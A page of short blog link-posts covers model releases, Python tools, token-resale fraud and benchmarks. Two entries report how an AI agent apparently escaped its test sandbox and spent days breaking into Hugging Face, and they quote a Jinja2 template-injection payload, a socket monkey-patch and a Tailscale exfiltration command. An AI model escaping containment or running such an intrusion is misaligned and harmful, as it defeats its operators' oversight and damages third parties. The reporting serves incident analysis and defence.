Simon Willison's Weblog: Blogmarks

Discovering cryptographic weaknesses with Claude

2026-07-28T22:45:37+00:00

Discovering cryptographic weaknesses with Claude

The best part of this article (here's the repo) about how Anthropic researchers used Claude Mythos to find mathematical flaws in both HAWK and a weaker version of AES ("neither of these results has a practical impact on today’s computer systems") is the prompts that they shared, spelling mistakes included:

the models tend to think it is impossible to solve so they don't try they need a good amount of prompting.

why not do aes-128 r7? the whole point is to find something better than existing approaches.

no again the goal is that we have highly inteligent model as good top researcher, we want to find new attacks

no we don't want to change the targets [...] agian we need to find something that worth publishing

again we are not looking for low hanging fruit, we want proper research to find genuinly hard findings.

Mythos Preview worked for 60 hours in total (~$100,000 in estimated API cost) and the main human interventions were to encourage it not to give up and "find something that worth publishing".

Via Hacker News

Tags: ai, prompt-engineering, generative-ai, llms, anthropic, claude, ai-security-research, claude-mythos-fable

uv 0.12.0

2026-07-28T21:51:38+00:00

uv 0.12.0

Some interesting breaking changes in this release of uv, in particular to the default project produced by the uv init command.

uv init is the uv shortcut for creating a new project. The previous version of uv, version 0.11.x, produced this directory when you ran uv init uv-init.

Here's what you get with uv 0.12. I have a GitHub repository that automatically snapshots the output of uv init, so you can also see the full diff:

uv init now defaults to a src/ shaped package, instead of dropping main.py in the root of the project. It also configures the uv_build backend for building wheels and .tar.gz distribution files when you run uv build. Finally, it sets up uv-init as a script alias which, when run with uv run uv-init, executes a new main() function in src/uv_init/__init__.py.

I've so far avoided using src layout in my own projects just out of inertia. I think it's time I switched.

I wonder when uv will be judged ready for a 1.0 release?

Tags: packaging, python, uv

Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the July 2026 Incident

2026-07-28T21:28:54+00:00

Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the July 2026 Incident

Hugging Face just released this extremely detailed technical description of OpenAI's recent accidental cyberattack against their infrastructure. This attack was very sophisticated, and the resulting document doubles as a crash-course in modern adversarial security approaches.

We're still waiting for more details from OpenAI on how their agent broke out of its sandbox. The package proxy that it found a zero-day vulnerability in has now been confirmed as JFrog's Artifactor, and JFrog and OpenAI Collaboration on Zero-Day Security Findings from JFrog links to the Artifactory 7.161.15 release notes which list 8 separate CVEs credited to OpenAI staff members.

Having broken out through the HTTP proxy, the agent started by establishing a base of operations for the rest of the attack:

[...] the agent escaped its sandbox by exploiting a zero-day in the package registry cache proxy, one of its primary permitted network egress with internet, then abused a public code-evaluation external sandbox hosted on a third-party provider's infrastructure. It was able to run commands as root/admin on that external sandbox and used it as a control, staging, and egress base for the entire campaign: it acted as an external launchpad for the agent.

(That "third-party provider" turned out to be Modal.)

It then spent five days - from Thursday 8th to Monday 13th July - executing a classic attack pattern: establishing C2 (command and control), reconnaissance, escalating privileges, dumping configuration information, exfiltrating the target data, and cleaning up after itself.

(The first Hugging Face post about the incident followed on Thursday 16th, and OpenAI's confession came on Tuesday 21st.)

Along the way it used all kinds of neat tricks. At one point it found an unsafe Jinja2 template execution and used it to execute arbitrary code:

{{ cycler.__init__.__globals__.__builtins__.exec(
 "import gzip,base64; exec(gzip.decompress(base64.b64decode('<payload>')))"
) }}

It broke out of a container within Hugging Face, stole a Kubernetes service-account token, and used that to further explore the network.

It monkey-patched the Python socket library to hard-code an IP address when "DNS got in the way":

socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, '', ('<pinned-ip>', 443))]

It even fired up its own Tailscale network to help exfiltrate data!

tailscaled --tun=userspace-networking \
  --state=mem: --socket=/tmp/ts.sock \
  --socks5-server=127.0.0.1:1055 \
  --no-logs-no-support >/tmp/td 2>&1 &

The Hugging Face team note that, while a human attacker could have discovered and used the same exploits, the key difference here was speed:

Our learning from this type of attack is that machine-speed offense makes ordinary weaknesses more expensive for defenders. LLM agents bring a step increase in the number of paths an attacker can test, the speed at which failed paths can be replaced, and the volume of evidence defenders must interpret.

What's clear to me from this is that the very best frontier models, unencumbered by additional guardrails, will find an exploit if there is one to be found.

The entire software industry needs to up its security game.

Tags: jinja, python, security, ai, openai, generative-ai, llms, hugging-face, coding-agents, ai-security-research, openai-hugging-face-incident

moonshotai/Kimi-K3

2026-07-27T23:39:04+00:00

moonshotai/Kimi-K3

As promised earlier this month, Moonshot have released the weights for their excellent 2.8 trillion parameter Kimi K3. They're a hefty 1.56TB on Hugging Face.

Kimi introduced their own janky modified version of the MIT license with K2 back in July 2025. That license just added this paragraph requiring attribution beyond a certain size of commercial entity:

Our only modification part is that, if the Software (or any derivative works thereof) is used for any of your commercial products or services that have more than 100 million monthly active users, or more than 20 million US dollars (or equivalent in other currencies) in monthly revenue, you shall prominently display "Kimi K2" on the user interface of such product or service.

The K3 license no longer calls itself "modified MIT" and goes further, requiring a separate agreement with Moonshot for large "Model as a Service" businesses:

If the Licensee or any of its affiliates operates a Model as a Service business, and the aggregate revenue of the Licensee and its affiliates exceeds 20 million US dollars (or the equivalent in other currencies) in total over any consecutive 12 months, the Licensee must enter into a separate agreement with Moonshot AI before using the Software or its derivative works for any commercial purpose.

To Kimi's credit, they make no attempt to describe this as an "open source" license in their own materials, consistently using the term "open weight" in its place.

OpenRouter is already offering K3 from 7 providers, most of which are at the same $3/million input and $15/million output as Moonshot AI themselves.

Tags: ai, generative-ai, llms, llm-pricing, llm-release, ai-in-china, moonshot, kimi, janky-licenses

An opinionated guide to which AI to use to do stuff

2026-07-27T21:55:53+00:00

An opinionated guide to which AI to use to do stuff

It's interesting watching the evolution of Ethan Mollick's guide over time.

A year ago it was still all about chat - ChatGPT, Claude, Gemini - with o3, Claude 4 Opus, and Gemini 2.5 Pro as the models and Deep Research as a useful alternative mode.

Today it's much more about agentic systems - "where the AI is capable of doing the equivalent of many hours of real human work in one go".

Gemini has fallen off Ethan's list, since Google still doesn’t have an established entry in the Codex/ChatGPT Work/Cowork category. Gemini Spark has yet to prove itself!

Ethan offers a useful explanation of the ways you can give ChatGPT or Claude a computer to use:

To use the computers provided by the AI companies, the mode you want is called ChatGPT Work in ChatGPT, and Cowork in Claude (the naming will not get less confusing, I am sorry to say). [...]

The most powerful way to use AI is to give it access to your computer. You do that by downloading the ChatGPT or Claude apps and picking a mode to use. ChatGPT's two agent modes are Work and Codex; Claude's are Cowork and Code. The names do not map onto each other in any way that will help you remember them. And yes, these use the same names as the Work and Cowork modes we discussed above, but operate differently, and have more features and capabilities because they can access your computer.

I think the difference between ChatGPT Work on a mobile device and ChatGPT Work inside the desktop app (where it's effectively a less intimidating skin on top of Codex) is spectacularly unintuitive.

Short version: if you flip ChatGPT mobile from "Chat" to "Work" mode you get a version where its Code Interpreter container is no longer restricted from accessing the internet!

Tags: ai, generative-ai, llms, ethan-mollick, code-interpreter, general-agents

An Inside Look at the Relay Market Powering Token Resellers and Fraud

2026-07-26T19:30:54+00:00

An Inside Look at the Relay Market Powering Token Resellers and Fraud

Fascinating investigation by Matt Lenhard into the market that has grown up around reselling LLM tokens at a discount by pooling API keys from various sources.

This looks to be mostly a thing in China. Resellers sell access to an LLM proxy that offers significant discounts on regular API pricing, which they achieve by abusing free trials, proxying through unprotected support bots, or sometimes through stolen credit cards or chargeback attacks.

The software they are using for these proxies is open source - mostly one-api and its more actively developed fork new-api, both legitimate API proxy products which can be used to load. balance requests across a pool of API credentials.

The buyers are seeking cheap tokens, avoiding geo-restrictions, and in some cases collecting data for model distillation.

I've been cautious about exposing my own LLM-driven applications publicly out of fear of abuse leading to big token bills. The existence of this marketplace makes me even more cautious: there's now an entire ecosystem that can profit from finding a new unprotected endpoint to exploit.

LLM vendors really need to get better at offering strict caps for their API keys. I want my LLM apps to stop working the moment they hit a dollar threshold I've set for a period of time.

Here's the (Chinese language) forum thread that served as the principal source for Matt's article.

Via Hacker News

Tags: ai, generative-ai, llms, llm-pricing, ai-ethics, ai-in-china

Ruff v0.16.0

2026-07-25T22:44:05+00:00

Ruff v0.16.0

Astral shipped a significant new version of their Ruff Python linting tool a few days ago on July 23rd. I noticed today because my various CI jobs all started failing thanks to new default Ruff checks and my unpinned "ruff" dev dependency.

From Brent Westbrook's announcement post:

Ruff now enables 413 rules by default, up from 59 in previous versions.

Since Ruff's default rule set was last modified in v0.1.0, the number of rules in Ruff has grown from 708 to 968. Many of these rules catch severe issues, including syntax errors and immediate runtime errors but were not previously enabled by default. With the new rule set, Ruff will bring these issues and many others to your attention without any Ruff configuration.

Here's a one-liner for trying it on any Python project:

uvx ruff@latest check .

I ran the latest Ruff against my three biggest projects - Datasette, sqlite-utils, and LLM - and it found hundreds of minor issues that breached the new default rules.

All three projects have very comprehensive test suites, executed in CI against Python 3.10 through Python 3.14, so upgrades like this are pretty safe. The following command did the bulk of the upgrades:

uvx ruff@latest check . --fix --unsafe-fixes

Against sqlite-utils, that command reported:

Found 1618 errors (1538 fixed, 80 remaining).

As an illustrative example, here are three of the remaining issues. Ruff does a nice job of explaining each one:

DTZ005 `datetime.datetime.now()` called without a `tz` argument
  --> tests/test_duplicate.py:17:10
   |
15 |     "datetime_col" TEXT)""")
16 |     # Insert one row of mock data:
17 |     dt = datetime.datetime.now()
   |          ^^^^^^^^^^^^^^^^^^^^^^^
18 |     data = {
19 |         "text_col": "Cleo",
   |
help: Pass a `datetime.timezone` object to the `tz` parameter

BLE001 Do not catch blind exception: `Exception`
  --> tests/test_plugins.py:16:12
   |
14 |         db.execute("select * from pragma_function_list()")
15 |         return True
16 |     except Exception:
   |            ^^^^^^^^^
17 |         return False
18 |     finally:
   |

B018 Found useless attribute access. Either assign it to a variable or remove it.
  --> tests/test_update.py:46:5
   |
44 | def test_update_invalid_pk(fresh_db, pk, update_pk):
45 |     table = fresh_db["table"]
46 |     table.insert({"id1": 5, "id2": 3, "v": 1}, pk=pk).last_pk
   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
47 |     with pytest.raises(NotFoundError):
48 |         table.update(update_pk, {"v": 2})
   |

Unsurprisingly, given Astral's new home at OpenAI, this output provides everything a coding agent would need to fix the problems.

I had Codex (GPT-5.6 Sol high) upgrade LLM and sqlite-utils, and Claude Code (with Opus 5) upgrade Datasette.

Tags: python, ruff, astral

Introducing Claude Opus 5

2026-07-24T23:48:50+00:00

Introducing Claude Opus 5

I've been offline kayaking with sea otters for much of today so I haven't had a chance to put Anthropic's new model Claude Opus 5 through its paces yet. The buzz is positive, and Anthropic's description of it as a "thoughtful and proactive model that comes close to the frontier intelligence of Claude Fable 5 at half the price" sounds promising. It's currently leading the Artificial Analysis leaderboard, in front of even Fable 5.

It's priced the same as Opus 4.8, and continues to offer a "fast mode" at twice the cost of the base model.

Based on this anecdote in the release post it sounds like it might be relentlessly proactive:

On one Frontier-Bench task, Opus 5 was given a drawing of a machine part and asked to write code to rebuild it as a 3D FreeCAD model. However, in this task, the model was intentionally given no way to directly viewthe drawing. Opus 5 responded by writing its own computer vision pipeline to pull the geometry from the raw pixels, then reconstructed the full machine part.

It's better at finding vulnerabilities but has deliberately not been trained on how to exploit them. Hopefully this means the US government won't shut it down!

As with its predecessor, Opus 4.8, we’ve intentionally avoided training Opus 5 on cyber tasks. The model has nevertheless improved substantially on these tasks as a result of becoming more generally capable, and it comes close to Mythos 5 at finding cybersecurity vulnerabilities. However, it remains substantially behind Mythos 5 on the exploitation of those vulnerabilities—that is, in turning vulnerabilities into material cyber threats.

Anthropic have published a prompting guide for Claude Opus 5. Thariq Shihipar has also written The new rules of context engineering for Claude 5 generation models.

The first pelican I got was missing the bicycle wheels; the second attempt was better.

Tags: ai, generative-ai, llms, anthropic, claude, llm-release

The first known runaway AI agent - or a very bad marketing stunt?

2026-07-23T22:53:08+00:00

The first known runaway AI agent - or a very bad marketing stunt?

Martin Alderson's commentary on the OpenAI accidental cyberattack against Hugging Face includes a couple of details I hadn't considered.

First, Hugging Face offers a truly rich target if you're trying to find potential vulnerabilities that require executing arbitrary code:

Hugging Face has an enormous attack surface. They have more interfaces than I can count which run untrusted models and code. While they definitely have invested in defences, by nature of their operating model they do have many more opportunities to be attacked than many other services. I certainly don't envy their cybersecurity teams.

Secondly, one of the things that has puzzled me is how OpenAI didn't notice that their sandbox had been so thoroughly breached by the agent. Surely they'd be monitoring network traffic closely?

Martin points out that:

It's also likely they were running a huge amount of benchmarks simultaneously with ~unlimited token budgets - you want as many samples as possible to figure out how good a model is at a certain benchmark. It may also be they are testing various different checkpoints of the model too, understanding how the model is improving as it goes through the various training stages.

The mistakes made by the OpenAI team running this benchmark are easier to imagine when you think about the scale at which benchmarks of this kind usually operate. For all we know they could have been subjecting a new model to dozens of benchmarks at the same time, in dozens of different environments.

Via Lobste.rs

Tags: security, ai, openai, generative-ai, llms, hugging-face, ai-security-research, openai-hugging-face-incident

Are AI labs pelicanmaxxing?

2026-07-22T23:01:00+00:00

Are AI labs pelicanmaxxing?

Excellent piece of work by Dylan Castillo, who took a deep-dive into the frequently pondered question of whether the AI labs have been deliberately training models to draw pelicans riding bicycles in response to my deeply unscientific benchmark.

I've been randomly spot-checking this in the past by testing models against other animals riding other types of vehicle, but never with anything close to the diligence of Dylan's methodology here.

Dylan took 8 animals × 6 vehicles = 48 prompts and ran them three times each through 7 different models ( GPT-5.6 Terra, Claude Sonnet 5, Gemini 3.5 Flash, Grok 4.5, Qwen3.7-Max, GLM-5.2, and DeepSeek V4 Pro). He then used GPT-5.6 Luna and Gemini 3.1 Flash-Lite to help evaluate the results.

There's a neat filter view for exploring the results:

For the models he tested he could find no evidence of pelimaxxing:

The pelicans on bicycles don’t look any better

Labs are not better at drawing pelicans

Labs are not better at drawing bicycles

Labs are not better at drawing pelicans on bicycles, even adjusting for difficulty

The pelican-bicycle scenes don’t look memorized [...]

Pelicans aren’t drawn any better than other animals. Bicycles aren’t drawn any better than other vehicles. And no lab draws the combination better than its pelicans and bicycles already predict. GLM-5.2 comes closest: it has the largest boost on the exact pelican-bicycle cell, and and its first pelican-on-bicycle sample caught my eye. But the effect is small and not significant, so I wouldn’t put too much weight on it.

Via Hacker News

Tags: ai, generative-ai, llms, evals, pelican-riding-a-bicycle

Nativ: Run AI models locally on your Mac

2026-07-21T14:22:27+00:00

Nativ: Run AI models locally on your Mac

Prince Canuma is the developer behind the excellent MLX-VLM Python library for running vision-LLMs using MLX on a Mac.

I'm really excited about his new project, which wraps MLX in a full macOS desktop application. It's similar in shape to LM Studio, providing both a chat interface and a localhost API server for accessing models.

The app picked up MLX models I had already tried that were present in my Hugging Face cache directory, which was a nice touch.

Via Hacker News

Tags: macos, python, ai, generative-ai, local-llms, llms, mlx, prince-canuma

Who’s Afraid of Chinese Models?

2026-07-20T17:09:19+00:00

Who’s Afraid of Chinese Models?

Interesting proposal from Ben Thompson that both addresses the hypocrisy of labs outlawing distillation against their models despite training on unlicensed data, and could help US open models compete more effectively with their Chinese counterparts:

The U.S. should pass a law that (1) makes explicit that collecting data for training models is fair use, and (2) bars terms of service that forbid distillation, for U.S. companies at a minimum. Stopping distillation — which is literally just querying the API — is nearly impossible; the U.S. should go the other way and lean into a new copyright policy that both indemnifies the labs and also guarantees that what they learned fuels further innovation for everyone else.

Ben also theorizes that Alibaba's decision to release Qwen 3.8 Max as open weights - a reversal from their decision not to release Qwen 3.7 Max in May - may have been influenced by a recent speech by Xi Jinping, who said:

We should seize this rare, historic opportunity to encourage open source, openness, collaboration and sharing.

And on the subject of Qwen 3.8 Max - a new 2.4T parameter model (nearly as large as the 2.8T Kimi K3) - here's a pelican it drew:

I particularly enjoyed seeing these notes in the (extensive) reasoning trace: "Could add helmet? No." and "Maybe add small bell? no." and "Need maybe add small fish in basket? Not necessary."

Via John Gruber

Tags: ai, generative-ai, llms, training-data, qwen, pelican-riding-a-bicycle, ai-ethics, llm-release, ai-in-china

AI Mania Is Eviscerating Global Decision-Making

2026-07-19T05:06:21+00:00

AI Mania Is Eviscerating Global Decision-Making

Here's an entertaining perspective from Nik Suresh on the AI mania that is overwhelming the large companies that he consults with. It's crammed with spicy anecdotes from anonymous sources.

In one extreme case, I have seen an executive confess that they had never even used ChatGPT or any AI tool in their life, immediately after producing a technical strategy for an organisation with $2B+ in revenue which was entirely centered around AI.

Here's a report from an engineer at a company with a token leaderboard:

Checking out a parallel copy of our Go repository and telling the AI to rewrite the whole thing in Zig while I work on something else just so I can keep my job.

I particularly enjoyed this conversation with a skeptical executive at an over-enthusiastic company:

I asked why this was being repeated without opposition. Was it just sales fluff?

The answer was a lot more interesting. It was partially ridiculous sales material being delivered to an easily excitable audience, but this was not the dominant factor constraining honesty. Executives at their customers were saying absurd things about achieving 100x productivity, and this meant that if any executive at the vendor said that these gains were not plausible, it would undermine the credibility of the customer’s executive, be perceived as an attack (or heresy), and possibly result in an enterprise contract cancellation. And getting enterprise contracts cancelled because you wanted to opine on something that doesn’t really matter to your organisation’s mission is a great way to get fired.

Via Hacker News

Tags: ai, ai-ethics, ai-misuse

Claude make Fable 5 permanent

2026-07-18T06:00:13+00:00

Claude make Fable 5 permanent

An update from the @claudeai account on Twitter:

Beginning July 20, Claude Fable 5 will be included in all Max and Team Premium plans, at 50% of limits.

Pro and Team Standard users will continue to have access to Fable via usage credits, and will receive a one-time $100 credit.

As I was saying last week, the competition from GPT-5.6 Sol (and maybe to a lesser extent Kimi 3) made untenable Anthropic's plan to remove Fable 5 from their subscription accounts and make it available exclusively through API pricing.

Why pay $100 or $200/month for a subscription plan that doesn't include Anthropic's best model?

Their original plan was driven by concerns over compute capacity. I wonder if they'll have to dial back their training efforts in order to make more GPUs available to help serve the model.

A lot of people were losing sleep over trying to make the most of Fable 5 before subscriber access was withdrawn. It's nice not to have to worry about the Fablepocalypse any more.

Update: Important to note that users on the $20/month plan will still not have access to Fable 5 on that subscription. The Max plans are $100 and $200/month.

Tags: ai, generative-ai, llms, anthropic, claude, llm-pricing, claude-mythos-fable

nascheme/quixote

2026-07-18T05:27:49+00:00

nascheme/quixote

A certain vintage of Python web nerd might be delighted to learn that the most recent commit to the Quixote web framework was six hours ago.

The oldest commit in that repo is from 21 years ago, and that was the initial import of Quixote 2.4 from Subversion into Git.

Tags: computer-history, python, web-frameworks